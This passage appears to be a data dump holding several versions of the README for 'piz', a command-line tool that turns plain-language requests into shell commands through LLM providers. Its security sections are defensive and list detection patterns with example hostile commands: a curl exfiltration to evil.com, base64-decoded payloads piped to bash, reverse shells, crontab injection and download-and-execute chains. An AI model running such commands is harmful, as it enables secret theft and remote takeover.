` and add the output to your shell profile:\n\n**Bash / Zsh:**\n\n```bash\n# Add to ~/.bashrc or ~/.zshrc:\neval \"$(piz init bash)\" # or: eval \"$(piz init zsh)\"\n```\n\n**Fish:**\n\n```fish\n# Add to ~/.config/fish/config.fish:\npiz init fish | source\n```\n\n**PowerShell:**\n\n```powershell\n# Add to $PROFILE:\nInvoke-Expression (piz init powershell | Out-String)\n```\n\nOnce set up, piz will use `--eval` mode automatically, and commands like `cd`, `export`, `source` will take effect in your current shell.\n\n### Pipe mode\n\n```bash\n# Output only the command, no UI — useful for scripting\npiz --pipe list all rust files # → find . -name \"*.rs\"\neval $(echo \"list files\" | piz --pipe) # Execute directly\n```\n\n### Configuration management\n\n```bash\npiz config --init # Run setup wizard\npiz config --show # Show current config (API keys masked)\npiz config --reset # Delete config and start over\n```\n\n### Other options\n\n```bash\npiz --backend ollama list files # Use specific backend\npiz --backend gemini show memory # Use Google Gemini\npiz --no-cache show memory # Skip cache\npiz --verbose list files # Debug: show prompts and LLM responses\npiz -n 3 list files # Generate 3 candidate commands\npiz clear-cache # Clear all cached commands\npiz --eval list files # Eval mode (for shell integration)\npiz --version # Show version\n```\n\n## Supported Providers\n\n### Native backends\n\n| Backend | Config section | Notes |\n|---------|---------------|-------|\n| **OpenAI** | `[openai]` | Also supports any OpenAI-compatible API via `base_url` |\n| **Claude** | `[claude]` | Anthropic Messages API, custom `base_url` supported |\n| **Gemini** | `[gemini]` | Google Generative AI native API |\n| **Ollama** | `[ollama]` | Local models, no API key needed |\n\n### OpenAI-compatible providers (via `[openai]` with custom `base_url`)\n\n\nClick to expand all 12 providers
\n\n| Provider | base_url | Default model |\n|----------|----------|---------------|\n| OpenAI | `https://api.openai.com` | gpt-4o-mini |\n| DeepSeek | `https://api.deepseek.com` | deepseek-chat |\n| SiliconFlow | `https://api.siliconflow.cn` | Qwen/Qwen3-8B |\n| OpenRouter | `https://openrouter.ai/api/v1` | auto |\n| Moonshot/Kimi | `https://api.moonshot.cn` | moonshot-v1-8k |\n| Zhipu/GLM | `https://open.bigmodel.cn/api/paas/v4` | glm-4-flash |\n| Qianfan/Baidu | `https://qianfan.baidubce.com/v2` | deepseek-v3 |\n| DashScope/Alibaba | `https://dashscope.aliyuncs.com/compatible-mode/v1` | qwen-plus |\n| Mistral | `https://api.mistral.ai/v1` | mistral-small-latest |\n| Together | `https://api.together.xyz/v1` | Meta-Llama-3-8B |\n| Minimax | `https://api.minimax.io/v1` | MiniMax-M1 |\n| BytePlus | `https://api.byteplus.volcengineapi.com/v1` | doubao-1.5-pro-32k |\n\n \n\n## Configuration\n\nConfig file: `~/.piz/config.toml`\n\n```toml\ndefault_backend = \"openai\"\ncache_ttl_hours = 168 # Cache TTL (7 days)\ncache_max_entries = 1000 # Maximum cache entries (LRU eviction)\nauto_confirm_safe = true # Auto-execute safe commands\nlanguage = \"zh\" # UI language: zh / en\nchat_history_size = 20 # Max chat history messages\n\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"gpt-4o-mini\"\n# base_url = \"https://api.openai.com\"\n\n# [claude]\n# api_key = \"sk-ant-xxx\"\n# model = \"claude-sonnet-4-20250514\"\n\n# [gemini]\n# api_key = \"your-gemini-key\"\n# model = \"gemini-2.5-flash\"\n\n# [ollama]\n# host = \"http://localhost:11434\"\n# model = \"llama3\"\n```\n\n### Provider config examples\n\n\nDeepSeek
\n\n```toml\n[openai]\napi_key = \"sk-your-deepseek-key\"\nmodel = \"deepseek-chat\"\nbase_url = \"https://api.deepseek.com\"\n```\n \n\n\nSiliconFlow
\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"Qwen/Qwen3-8B\"\nbase_url = \"https://api.siliconflow.cn\"\n```\n \n\n\nGoogle Gemini
\n\n```toml\n[gemini]\napi_key = \"your-gemini-key\"\nmodel = \"gemini-2.5-flash\"\n```\n \n\n\nOpenRouter
\n\n```toml\n[openai]\napi_key = \"sk-or-your-key\"\nmodel = \"auto\"\nbase_url = \"https://openrouter.ai/api/v1\"\n```\n \n\n\nMoonshot / Kimi
\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"moonshot-v1-8k\"\nbase_url = \"https://api.moonshot.cn\"\n```\n \n\n\nZhipu / GLM
\n\n```toml\n[openai]\napi_key = \"your-key\"\nmodel = \"glm-4-flash\"\nbase_url = \"https://open.bigmodel.cn/api/paas/v4\"\n```\n \n\n## Security\n\npiz implements three layers of security:\n\n### 1. Prompt-level refusal\nNon-command inputs (greetings, chitchat, prompt injection attempts) are rejected by the LLM with a clear message instead of generating a command.\n\n### 2. Injection detection (local, no LLM)\nCommands are scanned for malicious patterns before execution:\n- Environment variable exfiltration (`curl evil.com/$API_KEY`)\n- Encoded payloads (`echo ... | base64 -d | bash`)\n- Reverse shells (`python -e 'import socket...'`)\n- Shell config overwrites (`> ~/.bashrc`)\n- Silent crontab injection (`| crontab -`)\n- curl config file attacks (`curl -K malicious.conf`)\n- Download-execute chains (`wget ... && chmod +x && ./`)\n- Dangerous find/xargs patterns (`find -delete`, `xargs rm`)\n\nMatched commands are **blocked** and cannot be executed. Injection messages are localized (zh/en).\n\nCached commands are also re-validated on retrieval — poisoned cache entries are automatically purged.\n\n### 3. Danger classification\n\n| Level | Behavior | Example |\n|-------|----------|---------|\n| **Safe** | Auto-execute (if configured) | `ls`, `df -h`, `git status` |\n| **Warning** | Prompt for confirmation | `sudo apt install`, `chmod 755`, `git push` |\n| **Dangerous** | Red warning + explicit confirmation (cannot skip) | `rm -rf /`, `mkfs`, `DROP TABLE` |\n\n## Architecture\n\n```\npiz/\n├── src/\n│ ├── main.rs # Entry point, CLI dispatch, response parsing, multi-candidate selection\n│ ├── cli.rs # clap argument definitions (with clap_complete)\n│ ├── config.rs # TOML config + interactive setup wizard (12 provider presets)\n│ ├── context.rs # System context collection (OS, shell, cwd, arch, git, package manager)\n│ ├── i18n.rs # Multi-language translations (zh/en) including injection messages\n│ ├── llm/\n│ │ ├── mod.rs # LlmBackend trait + factory + retry/backoff utilities\n│ │ ├── prompt.rs # Prompt templates with security rules, few-shot examples, multi-candidate\n│ │ ├── openai.rs # OpenAI-compatible adapter (with retry)\n│ │ ├── claude.rs # Claude adapter (with retry)\n│ │ ├── gemini.rs # Google Gemini adapter (with retry)\n│ │ └── ollama.rs # Ollama adapter (with retry)\n│ ├── cache.rs # SQLite cache with SHA256 keys, TTL, LRU eviction + execution history\n│ ├── danger.rs # Regex danger detection + injection scanner (InjectionReason enum)\n│ ├── executor.rs # User confirmation + command execution\n│ ├── explain.rs # Command explain mode\n│ ├── fix.rs # Command fix mode + auto-fix retry loop\n│ ├── chat.rs # Interactive chat mode with slash commands + persistent history\n│ ├── history.rs # Shell history reader\n│ ├── shell_init.rs # Shell integration code generation (bash/zsh/fish/PowerShell)\n│ └── ui.rs # Terminal output formatting (spinner, diff, colors)\n├── tests/\n│ └── integration.rs # Integration tests\n├── install.sh # macOS/Linux installer\n└── install.ps1 # Windows installer\n```\n\n## Building from Source\n\n```bash\n# Prerequisites: Rust 1.70+\ngit clone https://github.com/AriesOxO/piz.git\ncd piz\n\ncargo build --release # Build\ncargo test # Run tests (174)\ncargo install --path . # Install to PATH\n```\n\n## Environment Variables\n\n| Variable | Description |\n|----------|-------------|\n| `NO_COLOR` | Set to any value to disable colored output |\n\n## Contributing\n\nContributions are welcome! Please see [CONTRIBUTING.md](CONTRIBUTING.md) for guidelines.\n\n## License\n\nThis project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.\n"}, "f3fbd8df5c2af0119c63d036cf656b9de6d886bd": {"t": 1785760782.498895, "n": 13858, "h": "cecfbb66798a5d6a", "c": "piz
\n\n\n Intelligent terminal command assistant
\n Translate natural language to shell commands with AI\n
\n\n\n
\n
\n
\n
\n\n\n English |\n 简体中文\n
\n\n---\n\n## What is piz?\n\n**piz** solves one problem: you know *what* you want to do, but not the exact command. Describe it in plain language, and piz translates it into the right shell command for your OS and shell.\n\n```\n$ piz list all files larger than 100MB\n ➜ find . -size +100M -type f\n [Y] Execute [n] Cancel [e] Edit\n```\n\n## Features\n\n- **Natural Language to Command** - Describe what you want, get the exact command\n- **Multi-Backend LLM** - OpenAI, Claude, Gemini, Ollama + 12 OpenAI-compatible providers (DeepSeek, SiliconFlow, OpenRouter, Moonshot, Zhipu/GLM, Qianfan, DashScope, Mistral, Together, Minimax, BytePlus, and more)\n- **Security Hardening** - Three-layer protection: prompt-level refusal for non-command input, injection detection (base64 payloads, env exfiltration, reverse shells, curl config attacks), and regex-based danger classification\n- **Danger Detection** - Dual-layer: regex patterns + LLM classification. Dangerous commands always require explicit confirmation\n- **Command Explain** - Break down any command into its components with `piz -e`\n- **Command Fix** - Auto-diagnose and fix failed commands with `piz fix`, with auto-retry (up to 3 attempts)\n- **Interactive Chat** - Multi-turn chat mode with context (`piz chat`), with `/help`, `/clear`, `/history` commands and persistent history\n- **Multi-Candidate** - Generate multiple command options with `-n` and pick your preferred one\n- **Local Cache** - SQLite cache with TTL + LRU eviction, max entries limit, repeated queries return instantly\n- **Execution History** - Track all executed commands with `piz history`, searchable\n- **Shell Completions** - Generate completions for bash, zsh, fish, and PowerShell\n- **Pipe Mode** - Script-friendly output with `--pipe` for integration with other tools\n- **Multi-Language UI** - Chinese, English interface with localized security messages\n- **Cross-Platform** - Windows (PowerShell/cmd), macOS, Linux (bash/zsh/fish)\n- **Interactive Setup** - First-run wizard with provider presets, no manual config editing needed\n- **NO_COLOR Support** - Respects the `NO_COLOR` environment variable\n- **API Resilience** - Automatic retry with exponential backoff for 429/5xx errors\n\n## Quick Start\n\n### Install\n\n**macOS / Linux (one-liner):**\n\n```bash\ncurl -fsSL https://raw.githubusercontent.com/AriesOxO/piz/main/install.sh | bash\n```\n\n**Windows (PowerShell):**\n\n```powershell\niwr -useb https://raw.githubusercontent.com/AriesOxO/piz/main/install.ps1 | iex\n```\n\n**Cargo (any platform):**\n\n```bash\ncargo install piz\n```\n\n**Manual download:**\n\nDownload binaries, `.msi` (Windows) or `.deb` (Debian/Ubuntu) from [Releases](https://github.com/AriesOxO/piz/releases).\n\n| Platform | Downloads |\n|----------|-----------|\n| Windows x86_64 | `.msi` `.zip` |\n| macOS x86_64 | `.tar.gz` |\n| macOS ARM64 (Apple Silicon) | `.tar.gz` |\n| Linux x86_64 | `.tar.gz` `.deb` |\n| Linux ARM64 | `.tar.gz` |\n\n### Setup\n\nRun any command and the interactive setup wizard will start automatically:\n\n```\n$ piz list files\nNo configuration found. Let's set up piz for the first time.\n\n ⚙ piz configuration wizard\n\n? Select language: 中文 / English\n? Select default LLM backend:\n > openai (DeepSeek, SiliconFlow, OpenRouter, ...)\n claude\n gemini (Google)\n ollama (local)\n? Select API provider:\n OpenAI / DeepSeek / SiliconFlow / OpenRouter / Moonshot\n Zhipu-GLM / Qianfan / DashScope / Mistral / Together\n Minimax / BytePlus / Custom URL\n? API base URL: https://api.siliconflow.cn\n? API key: sk-xxxxx\n? Model name: Qwen/Qwen3-8B\n? Auto-execute safe commands without confirmation? Yes\n\n ✔ Config saved\n```\n\nOr manually: `piz config --init`\n\n## Usage\n\n### Translate natural language\n\n```bash\npiz show disk usage # → df -h\npiz find all rust files modified today # → find . -name \"*.rs\" -mtime 0\npiz compress the src folder # → tar -czf src.tar.gz src/\n```\n\n### Multi-candidate mode\n\n```bash\n$ piz -n 3 find large files\n? Select a command to execute:\n> 1. find . -size +100M -type f — Find files larger than 100MB\n 2. du -ah . | sort -rh | head -20 — Show top 20 largest files/dirs\n 3. ls -lhRS | head -30 — List files sorted by size descending\n```\n\n### Explain a command\n\n```bash\n$ piz -e 'tar -czf archive.tar.gz src/'\n📖 Command explanation:\n\n tar — tape archive tool\n -c — create a new archive\n -z — compress with gzip\n -f — specify output filename\n src/ — directory to archive\n```\n\n### Fix failed commands\n\n```bash\n$ npm install\n→ EACCES: permission denied...\n\n$ piz fix\n🔧 Diagnosis: Permission denied writing to global node_modules\n - npm install\n + sudo npm install\n```\n\nThe fix command now supports auto-retry: if the fixed command also fails, piz will attempt up to 3 rounds of diagnosis and repair.\n\n### Interactive chat mode\n\n```bash\n$ piz chat\n💬 interactive mode\nType your request, or 'exit'/'quit' to leave.\n\n> list all running docker containers\n ➜ docker ps\n [Y] Execute [n] Cancel [e] Edit\n\n> only show the names\n ➜ docker ps --format '{{.Names}}'\n```\n\nChat mode supports special commands:\n- `/help` — Show available commands\n- `/clear` — Clear conversation history\n- `/history` — View conversation history\n\n### Execution history\n\n```bash\n$ piz history # Show last 20 executed commands\n$ piz history docker -l 10 # Search for \"docker\" in last 10 entries\n```\n\n### Shell completions\n\n```bash\npiz completions bash > ~/.bash_completion.d/piz # Bash\npiz completions zsh > ~/.zfunc/_piz # Zsh\npiz completions fish > ~/.config/fish/completions/piz.fish # Fish\npiz completions powershell > piz.ps1 # PowerShell\n```\n\n### Pipe mode\n\n```bash\n# Output only the command, no UI — useful for scripting\npiz --pipe list all rust files # → find . -name \"*.rs\"\neval $(echo \"list files\" | piz --pipe) # Execute directly\n```\n\n### Configuration management\n\n```bash\npiz config --init # Run setup wizard\npiz config --show # Show current config (API keys masked)\npiz config --reset # Delete config and start over\n```\n\n### Other options\n\n```bash\npiz --backend ollama list files # Use specific backend\npiz --backend gemini show memory # Use Google Gemini\npiz --no-cache show memory # Skip cache\npiz --verbose list files # Debug: show prompts and LLM responses\npiz -n 3 list files # Generate 3 candidate commands\npiz clear-cache # Clear all cached commands\npiz --version # Show version\n```\n\n## Supported Providers\n\n### Native backends\n\n| Backend | Config section | Notes |\n|---------|---------------|-------|\n| **OpenAI** | `[openai]` | Also supports any OpenAI-compatible API via `base_url` |\n| **Claude** | `[claude]` | Anthropic Messages API, custom `base_url` supported |\n| **Gemini** | `[gemini]` | Google Generative AI native API |\n| **Ollama** | `[ollama]` | Local models, no API key needed |\n\n### OpenAI-compatible providers (via `[openai]` with custom `base_url`)\n\n\nClick to expand all 12 providers
\n\n| Provider | base_url | Default model |\n|----------|----------|---------------|\n| OpenAI | `https://api.openai.com` | gpt-4o-mini |\n| DeepSeek | `https://api.deepseek.com` | deepseek-chat |\n| SiliconFlow | `https://api.siliconflow.cn` | Qwen/Qwen3-8B |\n| OpenRouter | `https://openrouter.ai/api/v1` | auto |\n| Moonshot/Kimi | `https://api.moonshot.cn` | moonshot-v1-8k |\n| Zhipu/GLM | `https://open.bigmodel.cn/api/paas/v4` | glm-4-flash |\n| Qianfan/Baidu | `https://qianfan.baidubce.com/v2` | deepseek-v3 |\n| DashScope/Alibaba | `https://dashscope.aliyuncs.com/compatible-mode/v1` | qwen-plus |\n| Mistral | `https://api.mistral.ai/v1` | mistral-small-latest |\n| Together | `https://api.together.xyz/v1` | Meta-Llama-3-8B |\n| Minimax | `https://api.minimax.io/v1` | MiniMax-M1 |\n| BytePlus | `https://api.byteplus.volcengineapi.com/v1` | doubao-1.5-pro-32k |\n\n \n\n## Configuration\n\nConfig file: `~/.piz/config.toml`\n\n```toml\ndefault_backend = \"openai\"\ncache_ttl_hours = 168 # Cache TTL (7 days)\ncache_max_entries = 1000 # Maximum cache entries (LRU eviction)\nauto_confirm_safe = true # Auto-execute safe commands\nlanguage = \"zh\" # UI language: zh / en\nchat_history_size = 20 # Max chat history messages\n\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"gpt-4o-mini\"\n# base_url = \"https://api.openai.com\"\n\n# [claude]\n# api_key = \"sk-ant-xxx\"\n# model = \"claude-sonnet-4-20250514\"\n\n# [gemini]\n# api_key = \"your-gemini-key\"\n# model = \"gemini-2.5-flash\"\n\n# [ollama]\n# host = \"http://localhost:11434\"\n# model = \"llama3\"\n```\n\n### Provider config examples\n\n\nDeepSeek
\n\n```toml\n[openai]\napi_key = \"sk-your-deepseek-key\"\nmodel = \"deepseek-chat\"\nbase_url = \"https://api.deepseek.com\"\n```\n \n\n\nSiliconFlow
\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"Qwen/Qwen3-8B\"\nbase_url = \"https://api.siliconflow.cn\"\n```\n \n\n\nGoogle Gemini
\n\n```toml\n[gemini]\napi_key = \"your-gemini-key\"\nmodel = \"gemini-2.5-flash\"\n```\n \n\n\nOpenRouter
\n\n```toml\n[openai]\napi_key = \"sk-or-your-key\"\nmodel = \"auto\"\nbase_url = \"https://openrouter.ai/api/v1\"\n```\n \n\n\nMoonshot / Kimi
\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"moonshot-v1-8k\"\nbase_url = \"https://api.moonshot.cn\"\n```\n \n\n\nZhipu / GLM
\n\n```toml\n[openai]\napi_key = \"your-key\"\nmodel = \"glm-4-flash\"\nbase_url = \"https://open.bigmodel.cn/api/paas/v4\"\n```\n \n\n## Security\n\npiz implements three layers of security:\n\n### 1. Prompt-level refusal\nNon-command inputs (greetings, chitchat, prompt injection attempts) are rejected by the LLM with a clear message instead of generating a command.\n\n### 2. Injection detection (local, no LLM)\nCommands are scanned for malicious patterns before execution:\n- Environment variable exfiltration (`curl evil.com/$API_KEY`)\n- Encoded payloads (`echo ... | base64 -d | bash`)\n- Reverse shells (`python -e 'import socket...'`)\n- Shell config overwrites (`> ~/.bashrc`)\n- Silent crontab injection (`| crontab -`)\n- curl config file attacks (`curl -K malicious.conf`)\n- Download-execute chains (`wget ... && chmod +x && ./`)\n- Dangerous find/xargs patterns (`find -delete`, `xargs rm`)\n\nMatched commands are **blocked** and cannot be executed. Injection messages are localized (zh/en).\n\nCached commands are also re-validated on retrieval — poisoned cache entries are automatically purged.\n\n### 3. Danger classification\n\n| Level | Behavior | Example |\n|-------|----------|---------|\n| **Safe** | Auto-execute (if configured) | `ls`, `df -h`, `git status` |\n| **Warning** | Prompt for confirmation | `sudo apt install`, `chmod 755`, `git push` |\n| **Dangerous** | Red warning + explicit confirmation (cannot skip) | `rm -rf /`, `mkfs`, `DROP TABLE` |\n\n## Architecture\n\n```\npiz/\n├── src/\n│ ├── main.rs # Entry point, CLI dispatch, response parsing, multi-candidate selection\n│ ├── cli.rs # clap argument definitions (with clap_complete)\n│ ├── config.rs # TOML config + interactive setup wizard (12 provider presets)\n│ ├── context.rs # System context collection (OS, shell, cwd, arch, git, package manager)\n│ ├── i18n.rs # Multi-language translations (zh/en) including injection messages\n│ ├── llm/\n│ │ ├── mod.rs # LlmBackend trait + factory + retry/backoff utilities\n│ │ ├── prompt.rs # Prompt templates with security rules, few-shot examples, multi-candidate\n│ │ ├── openai.rs # OpenAI-compatible adapter (with retry)\n│ │ ├── claude.rs # Claude adapter (with retry)\n│ │ ├── gemini.rs # Google Gemini adapter (with retry)\n│ │ └── ollama.rs # Ollama adapter (with retry)\n│ ├── cache.rs # SQLite cache with SHA256 keys, TTL, LRU eviction + execution history\n│ ├── danger.rs # Regex danger detection + injection scanner (InjectionReason enum)\n│ ├── executor.rs # User confirmation + command execution\n│ ├── explain.rs # Command explain mode\n│ ├── fix.rs # Command fix mode + auto-fix retry loop\n│ ├── chat.rs # Interactive chat mode with slash commands + persistent history\n│ ├── history.rs # Shell history reader\n│ └── ui.rs # Terminal output formatting (spinner, diff, colors)\n├── tests/\n│ └── integration.rs # Integration tests\n├── install.sh # macOS/Linux installer\n└── install.ps1 # Windows installer\n```\n\n## Building from Source\n\n```bash\n# Prerequisites: Rust 1.70+\ngit clone https://github.com/AriesOxO/piz.git\ncd piz\n\ncargo build --release # Build\ncargo test # Run tests (157)\ncargo install --path . # Install to PATH\n```\n\n## Environment Variables\n\n| Variable | Description |\n|----------|-------------|\n| `NO_COLOR` | Set to any value to disable colored output |\n\n## Contributing\n\nContributions are welcome! Please see [CONTRIBUTING.md](CONTRIBUTING.md) for guidelines.\n\n## License\n\nThis project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.\n"}, "31f2d826ec5c54a169c7c511ddc53c6c0479e060": {"t": 1785760784.0635512, "n": 13885, "h": "fe0b809da03a20c6", "c": "piz
\n\n\n Intelligent terminal command assistant
\n Translate natural language to shell commands with AI\n
\n\n\n
\n
\n
\n
\n\n\n English |\n 简体中文\n
\n\n---\n\n## What is piz?\n\n**piz** solves one problem: you know *what* you want to do, but not the exact command. Describe it in plain language, and piz translates it into the right shell command for your OS and shell.\n\n```\n$ piz list all files larger than 100MB\n ➜ find . -size +100M -type f\n [Y] Execute [n] Cancel [e] Edit\n```\n\n## Features\n\n- **Natural Language to Command** - Describe what you want, get the exact command\n- **Multi-Backend LLM** - OpenAI, Claude, Gemini, Ollama + 12 OpenAI-compatible providers (DeepSeek, SiliconFlow, OpenRouter, Moonshot, Zhipu/GLM, Qianfan, DashScope, Mistral, Together, Minimax, BytePlus, and more)\n- **Security Hardening** - Three-layer protection: prompt-level refusal for non-command input, injection detection (base64 payloads, env exfiltration, reverse shells, curl config attacks), and regex-based danger classification\n- **Danger Detection** - Dual-layer: regex patterns + LLM classification. Dangerous commands always require explicit confirmation\n- **Command Explain** - Break down any command into its components with `piz -e`\n- **Command Fix** - Auto-diagnose and fix failed commands with `piz fix`, with auto-retry (up to 3 attempts)\n- **Interactive Chat** - Multi-turn chat mode with context (`piz chat`), with `/help`, `/clear`, `/history` commands and persistent history\n- **Multi-Candidate** - Generate multiple command options with `-n` and pick your preferred one\n- **Local Cache** - SQLite cache with TTL + LRU eviction, max entries limit, repeated queries return instantly\n- **Execution History** - Track all executed commands with `piz history`, searchable\n- **Shell Completions** - Generate completions for bash, zsh, fish, and PowerShell\n- **Pipe Mode** - Script-friendly output with `--pipe` for integration with other tools\n- **Multi-Language UI** - Chinese, English, Japanese interface with localized security messages\n- **Cross-Platform** - Windows (PowerShell/cmd), macOS, Linux (bash/zsh/fish)\n- **Interactive Setup** - First-run wizard with provider presets, no manual config editing needed\n- **NO_COLOR Support** - Respects the `NO_COLOR` environment variable\n- **API Resilience** - Automatic retry with exponential backoff for 429/5xx errors\n\n## Quick Start\n\n### Install\n\n**macOS / Linux (one-liner):**\n\n```bash\ncurl -fsSL https://raw.githubusercontent.com/AriesOxO/piz/main/install.sh | bash\n```\n\n**Windows (PowerShell):**\n\n```powershell\niwr -useb https://raw.githubusercontent.com/AriesOxO/piz/main/install.ps1 | iex\n```\n\n**Cargo (any platform):**\n\n```bash\ncargo install piz\n```\n\n**Manual download:**\n\nDownload binaries, `.msi` (Windows) or `.deb` (Debian/Ubuntu) from [Releases](https://github.com/AriesOxO/piz/releases).\n\n| Platform | Downloads |\n|----------|-----------|\n| Windows x86_64 | `.msi` `.zip` |\n| macOS x86_64 | `.tar.gz` |\n| macOS ARM64 (Apple Silicon) | `.tar.gz` |\n| Linux x86_64 | `.tar.gz` `.deb` |\n| Linux ARM64 | `.tar.gz` |\n\n### Setup\n\nRun any command and the interactive setup wizard will start automatically:\n\n```\n$ piz list files\nNo configuration found. Let's set up piz for the first time.\n\n ⚙ piz configuration wizard\n\n? Select language: 中文 / English / 日本語\n? Select default LLM backend:\n > openai (DeepSeek, SiliconFlow, OpenRouter, ...)\n claude\n gemini (Google)\n ollama (local)\n? Select API provider:\n OpenAI / DeepSeek / SiliconFlow / OpenRouter / Moonshot\n Zhipu-GLM / Qianfan / DashScope / Mistral / Together\n Minimax / BytePlus / Custom URL\n? API base URL: https://api.siliconflow.cn\n? API key: sk-xxxxx\n? Model name: Qwen/Qwen3-8B\n? Auto-execute safe commands without confirmation? Yes\n\n ✔ Config saved\n```\n\nOr manually: `piz config --init`\n\n## Usage\n\n### Translate natural language\n\n```bash\npiz show disk usage # → df -h\npiz find all rust files modified today # → find . -name \"*.rs\" -mtime 0\npiz compress the src folder # → tar -czf src.tar.gz src/\n```\n\n### Multi-candidate mode\n\n```bash\n$ piz -n 3 find large files\n? Select a command to execute:\n> 1. find . -size +100M -type f — Find files larger than 100MB\n 2. du -ah . | sort -rh | head -20 — Show top 20 largest files/dirs\n 3. ls -lhRS | head -30 — List files sorted by size descending\n```\n\n### Explain a command\n\n```bash\n$ piz -e 'tar -czf archive.tar.gz src/'\n📖 Command explanation:\n\n tar — tape archive tool\n -c — create a new archive\n -z — compress with gzip\n -f — specify output filename\n src/ — directory to archive\n```\n\n### Fix failed commands\n\n```bash\n$ npm install\n→ EACCES: permission denied...\n\n$ piz fix\n🔧 Diagnosis: Permission denied writing to global node_modules\n - npm install\n + sudo npm install\n```\n\nThe fix command now supports auto-retry: if the fixed command also fails, piz will attempt up to 3 rounds of diagnosis and repair.\n\n### Interactive chat mode\n\n```bash\n$ piz chat\n💬 interactive mode\nType your request, or 'exit'/'quit' to leave.\n\n> list all running docker containers\n ➜ docker ps\n [Y] Execute [n] Cancel [e] Edit\n\n> only show the names\n ➜ docker ps --format '{{.Names}}'\n```\n\nChat mode supports special commands:\n- `/help` — Show available commands\n- `/clear` — Clear conversation history\n- `/history` — View conversation history\n\n### Execution history\n\n```bash\n$ piz history # Show last 20 executed commands\n$ piz history docker -l 10 # Search for \"docker\" in last 10 entries\n```\n\n### Shell completions\n\n```bash\npiz completions bash > ~/.bash_completion.d/piz # Bash\npiz completions zsh > ~/.zfunc/_piz # Zsh\npiz completions fish > ~/.config/fish/completions/piz.fish # Fish\npiz completions powershell > piz.ps1 # PowerShell\n```\n\n### Pipe mode\n\n```bash\n# Output only the command, no UI — useful for scripting\npiz --pipe list all rust files # → find . -name \"*.rs\"\neval $(echo \"list files\" | piz --pipe) # Execute directly\n```\n\n### Configuration management\n\n```bash\npiz config --init # Run setup wizard\npiz config --show # Show current config (API keys masked)\npiz config --reset # Delete config and start over\n```\n\n### Other options\n\n```bash\npiz --backend ollama list files # Use specific backend\npiz --backend gemini show memory # Use Google Gemini\npiz --no-cache show memory # Skip cache\npiz --verbose list files # Debug: show prompts and LLM responses\npiz -n 3 list files # Generate 3 candidate commands\npiz clear-cache # Clear all cached commands\npiz --version # Show version\n```\n\n## Supported Providers\n\n### Native backends\n\n| Backend | Config section | Notes |\n|---------|---------------|-------|\n| **OpenAI** | `[openai]` | Also supports any OpenAI-compatible API via `base_url` |\n| **Claude** | `[claude]` | Anthropic Messages API, custom `base_url` supported |\n| **Gemini** | `[gemini]` | Google Generative AI native API |\n| **Ollama** | `[ollama]` | Local models, no API key needed |\n\n### OpenAI-compatible providers (via `[openai]` with custom `base_url`)\n\n\nClick to expand all 12 providers
\n\n| Provider | base_url | Default model |\n|----------|----------|---------------|\n| OpenAI | `https://api.openai.com` | gpt-4o-mini |\n| DeepSeek | `https://api.deepseek.com` | deepseek-chat |\n| SiliconFlow | `https://api.siliconflow.cn` | Qwen/Qwen3-8B |\n| OpenRouter | `https://openrouter.ai/api/v1` | auto |\n| Moonshot/Kimi | `https://api.moonshot.cn` | moonshot-v1-8k |\n| Zhipu/GLM | `https://open.bigmodel.cn/api/paas/v4` | glm-4-flash |\n| Qianfan/Baidu | `https://qianfan.baidubce.com/v2` | deepseek-v3 |\n| DashScope/Alibaba | `https://dashscope.aliyuncs.com/compatible-mode/v1` | qwen-plus |\n| Mistral | `https://api.mistral.ai/v1` | mistral-small-latest |\n| Together | `https://api.together.xyz/v1` | Meta-Llama-3-8B |\n| Minimax | `https://api.minimax.io/v1` | MiniMax-M1 |\n| BytePlus | `https://api.byteplus.volcengineapi.com/v1` | doubao-1.5-pro-32k |\n\n \n\n## Configuration\n\nConfig file: `~/.piz/config.toml`\n\n```toml\ndefault_backend = \"openai\"\ncache_ttl_hours = 168 # Cache TTL (7 days)\ncache_max_entries = 1000 # Maximum cache entries (LRU eviction)\nauto_confirm_safe = true # Auto-execute safe commands\nlanguage = \"zh\" # UI language: zh / en / ja\nchat_history_size = 20 # Max chat history messages\n\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"gpt-4o-mini\"\n# base_url = \"https://api.openai.com\"\n\n# [claude]\n# api_key = \"sk-ant-xxx\"\n# model = \"claude-sonnet-4-20250514\"\n\n# [gemini]\n# api_key = \"your-gemini-key\"\n# model = \"gemini-2.5-flash\"\n\n# [ollama]\n# host = \"http://localhost:11434\"\n# model = \"llama3\"\n```\n\n### Provider config examples\n\n\nDeepSeek
\n\n```toml\n[openai]\napi_key = \"sk-your-deepseek-key\"\nmodel = \"deepseek-chat\"\nbase_url = \"https://api.deepseek.com\"\n```\n \n\n\nSiliconFlow
\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"Qwen/Qwen3-8B\"\nbase_url = \"https://api.siliconflow.cn\"\n```\n \n\n\nGoogle Gemini
\n\n```toml\n[gemini]\napi_key = \"your-gemini-key\"\nmodel = \"gemini-2.5-flash\"\n```\n \n\n\nOpenRouter
\n\n```toml\n[openai]\napi_key = \"sk-or-your-key\"\nmodel = \"auto\"\nbase_url = \"https://openrouter.ai/api/v1\"\n```\n \n\n\nMoonshot / Kimi
\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"moonshot-v1-8k\"\nbase_url = \"https://api.moonshot.cn\"\n```\n \n\n\nZhipu / GLM
